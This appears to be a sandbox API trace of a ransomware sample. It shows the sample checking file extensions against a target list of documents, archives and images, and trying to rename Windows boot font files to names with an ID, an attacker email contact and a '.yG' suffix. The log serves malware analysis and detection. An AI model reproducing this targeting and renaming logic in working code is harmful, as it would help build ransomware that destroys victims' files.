	[0178.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x71fde8
	[0178.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f96d8
	[0178.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x3e33020
	[0178.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f9678
	[0178.595] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f9678, Size=0x20) returned 0x6de020
	[0178.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f98b8
	[0178.595] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f98b8, Size=0x20) returned 0x6de070
	[0178.596] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.596] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.596] Wow64DisableWow64FsRedirection (in: OldValue=0x33dff50 | out: OldValue=0x33dff50*=0x0) returned 1
	[0178.596] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.596] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de020 | out: hHeap=0x6a0000) returned 1
	[0178.596] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.596] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de070 | out: hHeap=0x6a0000) returned 1
	[0178.596] Sleep (dwMilliseconds=0x64) 
	[0178.882] lstrcmpiW (lpString1=".MARKER", lpString2=".yG") returned -1
	[0178.882] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0178.882] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0178.886] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=0) returned 1
	[0178.886] CloseHandle (hObject=0x30c) returned 1
	[0178.886] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0178.887] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0178.887] lstrlenW (lpString=".doc") returned 4
	[0178.887] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0178.887] lstrlenW (lpString=".docx") returned 5
	[0178.887] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0178.887] lstrlenW (lpString=".pdf") returned 4
	[0178.887] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0178.887] lstrlenW (lpString=".xls") returned 4
	[0178.887] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0178.887] lstrlenW (lpString=".xlsx") returned 5
	[0178.887] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0178.887] lstrlenW (lpString=".ppt") returned 4
	[0178.887] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0178.887] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0178.887] lstrlenW (lpString=".zip") returned 4
	[0178.887] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0178.887] lstrlenW (lpString=".rar") returned 4
	[0178.887] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0178.887] lstrlenW (lpString=".bz2") returned 4
	[0178.887] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0178.887] lstrlenW (lpString=".7z") returned 3
	[0178.887] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0178.887] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0178.887] lstrlenW (lpString=".dbf") returned 4
	[0178.887] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0178.888] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0178.888] lstrlenW (lpString=".1cd") returned 4
	[0178.888] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0178.888] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0178.888] lstrlenW (lpString=".jpg") returned 4
	[0178.888] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0178.888] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0178.888] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0178.888] lstrlenW (lpString=".doc") returned 4
	[0178.888] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0178.888] lstrlenW (lpString=".docx") returned 5
	[0178.888] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0178.888] lstrlenW (lpString=".pdf") returned 4
	[0178.888] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0178.888] lstrlenW (lpString=".xls") returned 4
	[0178.888] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0178.888] lstrlenW (lpString=".xlsx") returned 5
	[0178.888] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0178.888] lstrlenW (lpString=".ppt") returned 4
	[0178.888] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0178.888] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0178.888] lstrlenW (lpString=".zip") returned 4
	[0178.888] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0178.888] lstrlenW (lpString=".rar") returned 4
	[0178.888] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0178.889] lstrlenW (lpString=".bz2") returned 4
	[0178.889] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0178.889] lstrlenW (lpString=".7z") returned 3
	[0178.889] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0178.889] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0178.889] lstrlenW (lpString=".dbf") returned 4
	[0178.889] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0178.889] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0178.889] lstrlenW (lpString=".1cd") returned 4
	[0178.889] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0178.889] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0178.889] lstrlenW (lpString=".jpg") returned 4
	[0178.889] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0178.889] Sleep (dwMilliseconds=0x64) 
	[0179.157] Sleep (dwMilliseconds=0x64) 
	[0179.409] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0179.410] lstrlenW (lpString="chs_boot.ttf") returned 12
	[0179.410] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.412] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=3695719) returned 1
	[0179.412] CloseHandle (hObject=0x350) returned 1
	[0179.412] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20
	[0179.412] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.412] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0179.412] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0179.412] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0179.413] lstrlenW (lpString=".doc") returned 4
	[0179.413] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0179.413] lstrlenW (lpString=".docx") returned 5
	[0179.413] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0179.413] lstrlenW (lpString=".pdf") returned 4
	[0179.413] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0179.413] lstrlenW (lpString=".xls") returned 4
	[0179.413] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0179.413] lstrlenW (lpString=".xlsx") returned 5
	[0179.413] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0179.413] lstrlenW (lpString=".ppt") returned 4
	[0179.413] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0179.413] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0179.413] lstrlenW (lpString=".zip") returned 4
	[0179.413] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0179.413] lstrlenW (lpString=".rar") returned 4
	[0179.413] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0179.413] lstrlenW (lpString=".bz2") returned 4
	[0179.413] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0179.413] lstrlenW (lpString=".7z") returned 3
	[0179.413] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0179.413] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0179.413] lstrlenW (lpString=".dbf") returned 4
	[0179.413] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0179.413] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0179.413] lstrlenW (lpString=".1cd") returned 4
	[0179.413] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0179.413] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0179.413] lstrlenW (lpString=".jpg") returned 4
	[0179.413] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0179.414] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0179.414] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0179.414] lstrlenW (lpString=".doc") returned 4
	[0179.414] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0179.414] lstrlenW (lpString=".docx") returned 5
	[0179.414] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0179.414] lstrlenW (lpString=".pdf") returned 4
	[0179.414] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0179.414] lstrlenW (lpString=".xls") returned 4
	[0179.414] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0179.414] lstrlenW (lpString=".xlsx") returned 5
	[0179.414] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0179.414] lstrlenW (lpString=".ppt") returned 4
	[0179.414] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0179.414] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0179.414] lstrlenW (lpString=".zip") returned 4
	[0179.414] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0179.414] lstrlenW (lpString=".rar") returned 4
	[0179.414] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0179.414] lstrlenW (lpString=".bz2") returned 4
	[0179.414] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0179.414] lstrlenW (lpString=".7z") returned 3
	[0179.414] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0179.414] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0179.414] lstrlenW (lpString=".dbf") returned 4
	[0179.415] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0179.415] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0179.415] lstrlenW (lpString=".1cd") returned 4
	[0179.415] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0179.415] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0179.415] lstrlenW (lpString=".jpg") returned 4
	[0179.415] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0179.415] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0179.415] lstrlenW (lpString="cht_boot.ttf") returned 12
	[0179.415] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.417] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=3878410) returned 1
	[0179.417] CloseHandle (hObject=0x350) returned 1
	[0179.417] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20
	[0179.417] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.417] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0179.417] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0179.417] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0179.417] lstrlenW (lpString=".doc") returned 4
	[0179.417] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0179.417] lstrlenW (lpString=".docx") returned 5
	[0179.417] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0179.417] lstrlenW (lpString=".pdf") returned 4
	[0179.417] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0179.417] lstrlenW (lpString=".xls") returned 4
	[0179.418] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0179.418] lstrlenW (lpString=".xlsx") returned 5
	[0179.418] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0179.418] lstrlenW (lpString=".ppt") returned 4
	[0179.418] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0179.418] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0179.418] lstrlenW (lpString=".zip") returned 4
	[0179.418] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0179.418] lstrlenW (lpString=".rar") returned 4
	[0179.418] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0179.418] lstrlenW (lpString=".bz2") returned 4
	[0179.418] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0179.418] lstrlenW (lpString=".7z") returned 3
	[0179.418] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0179.418] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0179.418] lstrlenW (lpString=".dbf") returned 4
	[0179.418] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0179.418] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0179.418] lstrlenW (lpString=".1cd") returned 4
	[0179.418] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0179.418] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0179.418] lstrlenW (lpString=".jpg") returned 4
	[0179.418] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0179.418] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0179.418] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0179.418] lstrlenW (lpString=".doc") returned 4
	[0179.418] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0179.418] lstrlenW (lpString=".docx") returned 5
	[0179.419] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0179.419] lstrlenW (lpString=".pdf") returned 4
	[0179.419] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0179.419] lstrlenW (lpString=".xls") returned 4
	[0179.419] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0179.419] lstrlenW (lpString=".xlsx") returned 5
	[0179.419] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0179.419] lstrlenW (lpString=".ppt") returned 4
	[0179.419] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0179.419] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0179.419] lstrlenW (lpString=".zip") returned 4
	[0179.419] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0179.419] lstrlenW (lpString=".rar") returned 4
	[0179.419] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0179.419] lstrlenW (lpString=".bz2") returned 4
	[0179.419] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0179.419] lstrlenW (lpString=".7z") returned 3
	[0179.419] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0179.419] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0179.419] lstrlenW (lpString=".dbf") returned 4
	[0179.419] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0179.419] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0179.419] lstrlenW (lpString=".1cd") returned 4
	[0179.419] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0179.419] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0179.419] lstrlenW (lpString=".jpg") returned 4
	[0179.420] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0179.420] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0179.420] lstrlenW (lpString="jpn_boot.ttf") returned 12
	[0179.420] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.422] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=1985867) returned 1
	[0179.422] CloseHandle (hObject=0x350) returned 1
	[0179.422] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20
	[0179.422] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.422] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0179.423] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0179.423] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0179.423] lstrlenW (lpString=".doc") returned 4
	[0179.423] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0179.423] lstrlenW (lpString=".docx") returned 5
	[0179.423] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0179.423] lstrlenW (lpString=".pdf") returned 4
	[0179.423] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0179.423] lstrlenW (lpString=".xls") returned 4
	[0179.423] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0179.423] lstrlenW (lpString=".xlsx") returned 5
	[0179.423] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0179.423] lstrlenW (lpString=".ppt") returned 4
	[0179.423] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0179.423] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0179.423] lstrlenW (lpString=".zip") returned 4
	[0179.423] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0179.423] lstrlenW (lpString=".rar") returned 4
	[0179.423] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0179.423] lstrlenW (lpString=".bz2") returned 4
	[0179.423] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0179.423] lstrlenW (lpString=".7z") returned 3
	[0179.424] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0179.424] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0179.424] lstrlenW (lpString=".dbf") returned 4
	[0179.424] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0179.424] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0179.424] lstrlenW (lpString=".1cd") returned 4
	[0179.424] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0179.424] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0179.424] lstrlenW (lpString=".jpg") returned 4
	[0179.424] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0179.424] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0179.424] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0179.424] lstrlenW (lpString=".doc") returned 4
	[0179.424] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0179.425] lstrlenW (lpString=".docx") returned 5
	[0179.425] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0179.425] lstrlenW (lpString=".pdf") returned 4
	[0179.425] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0179.425] lstrlenW (lpString=".xls") returned 4
	[0179.425] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0179.425] lstrlenW (lpString=".xlsx") returned 5
	[0179.425] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0179.425] lstrlenW (lpString=".ppt") returned 4
	[0179.425] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0179.425] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0179.425] lstrlenW (lpString=".zip") returned 4
	[0179.425] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0179.425] lstrlenW (lpString=".rar") returned 4
	[0179.425] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0179.425] lstrlenW (lpString=".bz2") returned 4
	[0179.425] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0179.425] lstrlenW (lpString=".7z") returned 3
	[0179.425] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0179.425] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0179.425] lstrlenW (lpString=".dbf") returned 4
	[0179.426] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0179.426] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0179.426] lstrlenW (lpString=".1cd") returned 4
	[0179.426] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0179.426] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0179.426] lstrlenW (lpString=".jpg") returned 4
	[0179.426] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0179.426] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0179.426] lstrlenW (lpString="kor_boot.ttf") returned 12
	[0179.426] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.427] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=2373000) returned 1
	[0179.427] CloseHandle (hObject=0x350) returned 1
	[0179.427] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20
	[0179.428] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.428] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0179.428] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0179.428] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0179.428] lstrlenW (lpString=".doc") returned 4
	[0179.428] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0179.428] lstrlenW (lpString=".docx") returned 5
	[0179.428] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0179.428] lstrlenW (lpString=".pdf") returned 4
	[0179.428] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0179.428] lstrlenW (lpString=".xls") returned 4
	[0179.428] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0179.428] lstrlenW (lpString=".xlsx") returned 5
	[0179.428] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0179.428] lstrlenW (lpString=".ppt") returned 4
	[0179.428] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0179.428] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0179.428] lstrlenW (lpString=".zip") returned 4
	[0179.428] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0179.428] lstrlenW (lpString=".rar") returned 4
	[0179.429] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0179.429] lstrlenW (lpString=".bz2") returned 4
	[0179.429] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0179.429] lstrlenW (lpString=".7z") returned 3
	[0179.429] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0179.429] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0179.429] lstrlenW (lpString=".dbf") returned 4
	[0179.429] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0179.429] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0179.429] lstrlenW (lpString=".1cd") returned 4
	[0179.429] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0179.429] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0179.429] lstrlenW (lpString=".jpg") returned 4
	[0179.429] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0179.429] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0179.429] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0179.429] lstrlenW (lpString=".doc") returned 4
	[0179.429] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0179.429] lstrlenW (lpString=".docx") returned 5
